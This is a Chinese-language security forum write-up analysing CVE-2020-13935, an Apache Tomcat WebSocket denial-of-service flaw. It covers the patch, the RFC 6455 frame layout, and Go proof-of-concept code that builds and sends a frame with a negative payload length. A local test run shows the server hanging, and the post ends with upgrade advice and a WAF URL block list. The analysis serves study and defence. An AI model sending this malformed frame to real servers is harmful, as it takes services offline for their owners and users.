漏洞信息

漏洞名称:
WebSocket Dos Vulnerability in Apache Tomcat (CVE-2020-13935)

漏洞描述:
WebSocket frame中的"负载长度"(payload length)没有被正确地验证.
"无效的负载长度"(Invalid payload lengths)能触发一个"无限循环"(infinite loop). 具有"无效的负载长度"的多个requests能够导致拒绝服务.

触发前提:
tomcat版本在受影响范围内, 且用到了websocket.

Affected Versions:
10.0.0-M1 to 10.0.0-M6
9.0.0.M1 to 9.0.36
8.5.0 to 8.5.56
8.0.1 to 8.0.53
7.0.27 to 7.0.104

diff:
This was fixed with commit 40fa74c7.

Timeline:
2020年6月28日, 这个issue通过Apache Bugzilla实例被公开报告, 其中提到了"高CPU", 但未明确提及DoS.
当天, Apache Tomcat Security Team确定了相关的DoS风险.
该issue于2020年7月14日公开.

漏洞分析

  • 官方信息不够详细, 我们会产生一些疑问:
    • 如何构造无效的"载荷长度"?
    • 发生的是哪种类型的拒绝服务? CPU耗尽? 内存耗尽? 还是一个crash?
    • 在什么情况下应用程序可被攻击? Apache Tomcat什么时候解析WebSocket Messages?
    • 漏洞利用需要大量的带宽或计算能力吗?
    • 无法升级时, 是否有其他的解决方案?

我们通过一些分析来回答这些问题, 这些通常也是渗透测试的一部分.

根据补丁 https://github.com/apache/tomcat/commit/40fa74c74822711ab878079d0a69f7357926723d

看diff 这个漏洞是怎么被修复的.

代码文件: java/org/apache/tomcat/websocket/WsFrameBase.java

代码变更: 增加了校验payloadLength的代码:当 payloadLength < 0 则抛出异常.

line 264-270

// The most significant bit of those 8 bytes is required to be zero
            // (see RFC 6455, section 5.2). If the most significant bit is set,
            // the resulting payload length will be negative so test for that.
            if (payloadLength < 0) {
                throw new WsIOException(
                        new CloseReason(CloseCodes.PROTOCOL_ERROR, sm.getString("wsFrame.payloadMsbInvalid")));
            }

可以看到, 这次代码变更增加了: 对类型为long的"负载长度"(payloadLength)字段的额外检查, 如果值为负值, 则抛出异常.

但是"载荷长度"payloadLength怎么可能是负的呢?

为了回答这个问题, 让我们看看一个WebSocket frame的结构:
参考 RFC 6455 https://tools.ietf.org/html/rfc6455#section-5.2

如图可见, 帧的前16个bit, 包含了: 几个"标志位"(bit flags)以及7-bit长的"负载长度"(payload length).
该图指出, 如果这个"负载长度"(payload length)设置为127(二进制1111111), 应该使用 占64个bit的"扩展载荷长度"(extended payload length)作为载荷长度. 具体可见WebSocket RFC的要求:

如果[7bit的载荷长度]为127(二进制1111111), 则接下来的8个bytes被解释为64-bit长的"无符号整数",作为载荷长度.
【注意】 WebSocket RFC里要求, 这个64-bit长的”无符号整数”的 "最高有效位"必须为0(the most significant bit MUST be 0).

这是一个特殊要求, 为什么特殊? 这跟正常情况不同.

因为规范要求该字段是64-bit的"无符号整数"(unsigned integer), 但WebSocket RFC规范还要求了, 最高有效位需写为0. 而通常情况"无符号整数"不是这样的.

  • 通常情况:
    • 无符号整数(unsigned integer) - 必然>=0, 所有bit都用来表示这个数字本身, 不存在正负之分
    • 有符号整数(signed integer) - 最高位用来表示正负, 1为负, 0为正

所以, 容易让人混淆.

规范为什么要这样设计呢?
也许这是为了提供 与"有符号的实现"的互操作性(provide interoperability with signed implementations), 而做出的选择.

个人理解, 也就是说, 假设某些编程环境把整数都当作有符号数, 解析WebSocket的数据包时, 这些环境会把这个64bit的"扩展载荷长度"(Extended payload length)字段的具体数据, 也当作有符号整数. 此时可能把第1个bit的值1的具体数据, 解释为负数, 这就错了.
规范为了让这些编程环境正确得到payload length(正数), 所以规范要把这个64bit的"扩展载荷长度"字段的值的第1个bit写死为0. 这样, 这些编程环境也一定会把这个64bit的"扩展载荷长度"(Extended payload length)字段里的具体数据, 处理为正数了.

规范的意图是提高容错性, 兼容了少数错误的编程实现: 哪怕你的编程环境违反了WebSocket RFC规范要求的 这64bit的数据应该被当作"无符号整数", 你依然可以得到一个正确的结果(正数).

但是还是有人写的编程实现, 把"扩展载荷长度"(Extended payload length)字段的第1个bit当作了区分正负的依据(1为负,0为正). 导致了漏洞.

漏洞验证

怎么构造出poc ?

我们的目标是, 按照RFC规范进行操作, 来精心构造一个WebSocket frame, 当Apache Tomcat解析这个WebSocket frame时会认为具有负的载荷长度.

构造poc的具体过程如下:

  • 首先, 需要设置 "标志位"(bit flags) FIN, RSV1, RSV2RSV3的值.
    • FIN - 占1个bit, 用于指示一条message的最终帧(FIN is used to indicate the final frame of a message). 因为我们想把整个message都放在一个帧里, 所以我们把FIN的值设置为1.
    • RSV - 占3个bit, RSV位保留以供将来使用和WebSocket规范的扩展, 所以把RSV bits都被设置为0.
    • opcode - 占4个bit, 表示发送的数据的类型. 该值必须是有效的, 否则这个帧将被丢弃. 在本例中, 我们希望发送一个类型为text frame, 根据规范就把opcode字段的值设置为1. Go库github.com/gorilla/websocket 为我们提供了一个常量.

现在我们用golang来构建我们的WebSocket frame的第1个byte (即前8个bit):

var buf bytes.Buffer

fin := 1
rsv1 := 0
rsv2 := 0
rsv3 := 0
opcode := websocket.TextMessage

buf.WriteByte(byte(fin<<7 | rsv1<<6 | rsv2<<5 | rsv3<<4 | opcode))
  • 我们的WebSocket frame的第2个byte :
    • MASK - 占1个bit, 表明是否要对"载荷数据"(Payload data)进行掩码操作. 从client -> server的这些帧, MASK的值必须被设置为1. 相反地, server -> client时因为不需要进行掩码操作, 所以MASK被设置为0.
    • Payload len - 到底占?个bit呢, 要根据WebSocket message的payload size分情况讨论, 共3种情况:
      • 情况1. 如果 payload size <=125 bytes, 则直接在7-bit payload length字段中对"payload length"(payload size)进行编码, 也就是Payload len字段共占7个bit
    • 情况2. 如果 126 <= payload size <= 65535, 则将7-bit payload length字段设置为常数十进制126(二进制1111110), 并将"length"作为16-bit unsigned integer编码到接下来紧跟着的2个bytes中(即Extended payload length字段). 也就是Payload len字段共占 7 + 2*8 = 23 bit
    • 情况3. 如果 65535 < payload size, 则7-bit payload length字段必须被设置为常数十进制127(二进制1111111), 并将"payload length"(payload size)作为一个64-bit unsigned integer, 编码到接下来紧跟着的8个bytes中(即Extended payload length字段). 也就是Payload len字段共占 7 + 8*8 = 71 bit

如上所述, 对于情况3, 根据规范, 必须将(Extended payload length字段的)"最高有效位"(the most significant bit, MSB)设置为0.

  • 具体操作, 来指定WebSocket frame的第2个byte:
    • MASK - 占1个bit, 因为client -> server, 所以设置为1.
    • Payload len - 因为我们想要指定一个占64-bit的payload length, 也就是 情况3.(7 + 8*8 = 71 bit ), 就需要先将7-bit payload length字段的值设置为常数十进制127(二进制1111111). 然后为了在Apache Tomcat中触发vulnerable code, 故意将这个占64-bit的Extended payload length字段的"最高有效位"(MSB)设置为1, 是的就在这里故意违反RFC规范!!
// MASK字段 - 占1个bit, 表明是否要对"载荷数据"(Payload data)进行掩码操作.
// client -> server. so we always set the mask bit to 1

// Payload len字段 - indicate 64 bit message length.
// 左移运算符<< 用来把操作数的各个二进制位全部左移若干位, 高位丢弃, 低位补0.
// 按位或运算 |  按bit进行或运算.
buf.WriteByte(byte(1<<7 | 0b1111111))

为了构造一个具有无效"负载长度"(payload length)的帧, 我们将以下8个字节, 每个byte都设置为0xFF:

十六进制 Hex0xFF
= 二进制 Bin 11111111
= 十进制 Dec 255

// set msb to 1, violating the spec
buf.Write([]byte{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})

接下来, 是masking key字段, 占4个byte, 规范要求它的值是 来自于一个强大的"熵"(entropy)来源的随机的32个bit, 但由于我们已经违反了RFC规范, 所以我们使用一个staticmasking key使代码更易阅读:

// masking key
// 4 bytes
// leave zeros for now, so we do not need to mask
maskingKey := []byte{0, 0, 0, 0}
buf.Write(maskingKey)

实际"负载"(payload)本身的大小, 可以小于"负载长度"(payload length)中指定的length:

// write an incomplete message
buf.WriteString("test")

"数据包"(packet) 的 "组装"(assembly)、传输的实现, 可见以下代码.
为了保证正常运行, 我们在发送这个packet后, 将这个"连接"(connection)保持open状态30秒.

ws, _, err := websocket.DefaultDialer.Dial(url, nil)

if err != nil {
    return fmt.Errorf("dial: %s", err)
}

_, err = ws.UnderlyingConn().Write(buf.Bytes())
if err != nil {
    return fmt.Errorf("write: %s", err)
}

// keep the websocket connection open for some time
time.Sleep(30 * time.Second)

PoC是fork的, 注释版 https://github.com/1135/CVE-2020-13935 (仅供查看,请勿运行!)

检测过程:

# 环境搭建: 我自己安装了tomcat 9.0.31 在受影响范围内 (Affects: 9.0.0.M1 to 9.0.36)
# 寻找endpoint: 安装 Apache Tomcat 之后, 会有自带的examples 如http://localhost:8080/examples/websocket/echo.xhtml
# 这里用到了websocket, 可抓到url.
$ ./tcdos ws://localhost:8080/examples/websocket/echoProgrammatic
# 亲测, web无法响应了, CPU使用率降不下来, 除非手动重启!
# 其他版本未测试.

修复方案

将Apache Tomcat服务器更新为当前版本. 如果无法更新, 需禁用或限制对WebSockets的访问.

WAF拦截tomcat默认功能的URL

# examples功能页面(信息探测)
/examples/websocket/echo.xhtml
/examples/websocket/chat.xhtml
/examples/websocket/snake.xhtml
/examples/websocket/drawboard.xhtml
# 建立websocket握手的URL(实际攻击)
/examples/websocket/echoProgrammatic
/examples/websocket/echoAnnotation
/examples/websocket/echoStreamAnnotation
/examples/websocket/chat
/examples/websocket/snake
/examples/websocket/drawboard

总结

拒绝服务漏洞, 会严重影响业务运行, 影响很大.

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖